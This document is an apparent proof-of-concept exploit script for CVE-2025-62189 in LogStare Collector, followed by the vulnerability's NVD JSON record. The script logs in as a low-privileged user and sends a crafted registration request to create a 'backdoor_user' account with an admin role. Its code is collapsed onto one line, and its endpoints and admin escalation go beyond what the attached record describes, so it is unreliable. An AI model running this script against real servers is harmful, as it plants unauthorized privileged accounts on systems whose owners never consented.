CVE-2025-62189

import requests import json # CVE-2025-62189 PoC - LogStare Collector Authorization Bypass # Target: LogStare Collector UserRegistration endpoint # Author: [email protected] TARGET_URL = "http://target-server:8080/api/user/register" ATTACKER_CREDS = { "username": "attacker", "password": "attacker123" } NEW_USER_PAYLOAD = { "username": "backdoor_user", "password": "P@ssw0rd123!", "email": "[email protected]", "role": "admin" } def exploit_authorization_bypass(): """ Exploit for CVE-2025-62189 This PoC demonstrates how a low-privileged user can create a new admin user account via improper authorization check. """ session = requests.Session() # Step 1: Authenticate as low-privileged user login_data = { "username": ATTACKER_CREDS["username"], "password": ATTACKER_CREDS["password"] } try: # Login request login_response = session.post( f"{TARGET_URL.replace('/api/user/register', '/api/auth/login')}", json=login_data, timeout=10 ) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated as low-privileged user") # Step 2: Exploit authorization bypass to create admin user exploit_response = session.post( TARGET_URL, json=NEW_USER_PAYLOAD, headers={ "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" }, timeout=10 ) if exploit_response.status_code in [200, 201]: print("[+] Authorization bypass successful!") print(f"[+] Created backdoor user: {NEW_USER_PAYLOAD['username']}") print(f"[+] Role: {NEW_USER_PAYLOAD['role']}") return True else: print(f"[-] Exploit failed with status: {exploit_response.status_code}") print(f"[-] Response: {exploit_response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-62189 PoC - LogStare Collector Authorization Bypass") print("=" * 60) exploit_authorization_bypass()

{"cve": {"id": "CVE-2025-62189", "sourceIdentifier": "[email protected]", "published": "2025-11-21T07:15:54.507", "lastModified": "2025-12-04T16:30:38.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LogStare Collector contains an incorrect authorization vulnerability in UserRegistration. If exploited, a non-administrative user may create a new user account by sending a crafted HTTP request."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:secuavail:logstare_collector:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.2", "matchCriteriaId": "074556F9-0A35-4E1F-AF34-ADC3A9503B75"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN77560819/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.logstare.com/vulnerability/2025-001/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}